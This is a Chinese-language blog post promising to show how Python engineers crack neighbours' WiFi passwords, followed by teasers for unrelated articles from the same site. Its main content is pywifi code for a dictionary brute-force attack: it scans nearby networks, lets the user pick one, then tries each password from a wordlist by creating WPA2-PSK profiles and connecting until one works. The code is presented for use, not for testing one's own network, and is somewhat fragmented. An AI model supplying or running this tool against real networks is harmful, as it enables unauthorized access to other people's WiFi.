怎样破解wifi密码

现在每个家庭都有WiFi!大家都以为为了防止别人蹭WiFi密码设置复杂一点,万能钥匙就破解不了!今天给大家看看python工程师是怎么破解WiFi密码的!今天利用python中的pywifi模块来写这个程序!上教程

怎样破解wifi密码

一、获取密码文件的路径

self.get_value = StringVar()

二、获取WiFi账号

self.get_wifi_value = StringVar()

三、获取WiFi密码

self.get_wifimm_value = StringVar()

四、抓取网卡接口

self.wifi = pywifi.PyWiFi()

五、抓取第一个无线网卡

self.iface = self.wifi.interfaces()[0]

六、测试连接断开所有网址

self.iface.disconnect()

七、测试网卡是否属于断开状态

assert self.iface.status() in

[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

怎样破解wifi密码

八、自动会调用的函数,返回自身的网卡

return ‘(WIFI:%s,%s)’ % (self.wifi,self.iface.name())

九、搜索WiFi

#开始扫描

print(“^_^ 开始扫描附近wifi…”)

self.iface.scan()

time.sleep(15)

#在若干秒后获取扫描结果

scanres = self.iface.scan_results()

#统计附近被发现的热点数量

nums = len(scanres)

print(“数量: %s”%(nums))

#print (“| %s | %s | %s | %s”%(“WIFIID”,”SSID”,”BSSID”,”signal”))

# 实际数据

self.show_scans_wifi_list(scanres)

return scanres

十、添加密码文件目录

self.filename = tkinter.filedialog.askopenfilename()

self.get_value.set(self.filename)

十一、Treeview绑定事件

self.sels= event.widget.selection()

self.get_wifi_value.set(self.wifi_tree.item(self.sels,”values”)[1])

#print(“you clicked on”,self.wifi_tree.item(self.sels,”values”)[1])

十二、读取密码字典,进行匹配

def readPassWord(self):

self.getFilePath = self.get_value.get()

self.get_wifissid = self.get_wifi_value.get()

pwdfilehander=open(self.getFilePath,”r”,errors=”ignore”)

while True:

try:

self.pwdStr=pwdfilehander.readline()

if not self.pwdStr:

break

self.bool1=self.connect(self.pwdStr,self.get_wifissid)

if self.bool1:

self.res = “===正确=== wifi名:%s 匹配密码:%s “%(self.get_wifissid,self.pwdStr)

self.get_wifimm_value.set(self.pwdStr)


tkinter.messagebox.showinfo(‘提示’, ‘破解成功!!!’)


print(self.res)

break

else:

self.res = “—错误— wifi名:%s匹配密码:%s”%(self.get_wifissid,self.pwdStr)

print(self.res)

time.sleep(3)

except:

continue

十三、对wifi和密码进行匹配

#创建wifi网址文件

self.profile = pywifi.Profile()

self.profile.ssid =wifi_ssid #wifi名称

self.profile.auth = const.AUTH_ALG_OPEN #网卡的开放

self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法

self.profile.cipher = const.CIPHER_TYPE_CCMP #加密单元

self.profile.key = pwd_Str #密码


self.iface.remove_all_network_profiles() #删除所有的wifi文件


self.tmp_profile =
self.iface.add_network_profile(self.profile)#设定新的网址文件


self.iface.connect(self.tmp_profile)#网址

time.sleep(5)

if self.iface.status() == const.IFACE_CONNECTED: #判断是否连接上

isOK=True

else:

isOK=False

self.iface.disconnect() #断开

time.sleep(1)

#检查断开状态

assert self.iface.status() in

[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

return isOK

运行结果

怎样破解wifi密码
怎样破解wifi密码

该文章投稿作者:梦见自己住在工棚里,如若转载,请注明来自鱼鳞桐程网:https://www.yulintongcheng.com/155394.html

(0)
梦见自己住在工棚里的头像梦见自己住在工棚里
上一篇 31/08/2022 20:52
下一篇 01/09/2022 11:06

网友常看推荐

  • 外卖一单能挣多少钱

    送外卖的一单大概收入5到6元钱,所以只要一天多送几单就能挣不少的钱,差不多送外卖一天能送40到50单! 浙江杭州,赵师傅兼职送外卖,平均一单是8块钱,每天能跑四五十单。但每天下午5…

    03/07/2022
    08510
  • 文科最有前景的十大行业

    文科专业主要分布在8个学科门类 从整体上来看,文科生可选择的专业主要集中在哲学、经济学、法学、教育学、文学、历史学、管理学、艺术学等8个学科门类。 我国高等学校本科教育专业设置按“…

    12/03/2022
    01.0K0
  • 身份证过期了在异地怎么办

    出门在外,身份证是必备证件,没有身份证是一件非常麻烦的事情,从手机就能看出来。 当身份证还有一个月过期的时候,手机就开始每天提醒你,如果不能及时办理的话,连手机的一些功能都不能正常…

    08/05/2022
    08090
  • 跳槽工资涨幅怎么计算

    某网站发布的2017年《中国年轻白领就业报告》中提到,「调查显示,年轻白领期待薪酬上涨幅度过高,部分人认为跳槽应不低于30%涨薪,然而现实中,企业普遍能提供的涨薪水平在10%-15…

  • 中国唯一一台7nm光刻机

    大家也知道, 美国为了打压华为其手段是无所不用其极,从实体清单再到芯片禁令,势必要把中国最具代表性的科技公司华为打的一蹶不振。而在最近,又一条坏消息来了,那就是耗资千亿建设的芯片项…

    01/08/2022
    022.6K0
  • 直播点赞有什么好处?淘宝直播点红心有什么用?

    直播点赞的好处: 1、可以增长我们账号的活跃度,众所周知如果是自己拍摄的段子的话被别人点赞或者评论过多的话会有很大的几率登上快手的发现里,也就是我们俗称的热门。这样可以快速增加自己…

    24/03/2022
    09240
  • 华为怎么查位置去过哪里

    在日常生活中,由于手机的功能越来越强大,所以大部分人手上都会有智能手机。那么你用了这么久的手机,你知道手机上面隐藏的定位功能吗?你知道手机也能定位追踪位置吗?今天就给大家分享一招手…

    09/04/2022
    02.8K0
  • 我后悔给孩子整牙了

    儿子今年读初三,身体各方面都不错,体育成绩也一直都比较拔尖。小学六年级参加校运会1000米跑己拿过冠军。今年参加中学校运会,代表班级参加引体向上和跳绳两个项目。引起向上做了17个拿…

    03/05/2022
    04.1K0
  • 年薪50万算什么水平

    毕业生在就业方面通常会考虑三个问题,稳定性、薪资待遇、发展潜力,由于2020年到现在疫情还偶然突发,经济整体依然不景气,导致人们对工作的不安全感上升,大家都想要有一份稳定的工作。 …

  • 苹果长截图怎么弄的快捷键

    小编的iPhone用了5年之久,每每到需要截图的时候总是不及安卓手机方便,大家都知道iPhone手机截图只能一张一张的去截图,不能长截图,这一点就比不上安卓的手机了。 我们之前截图…

    21/05/2022
    09870

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注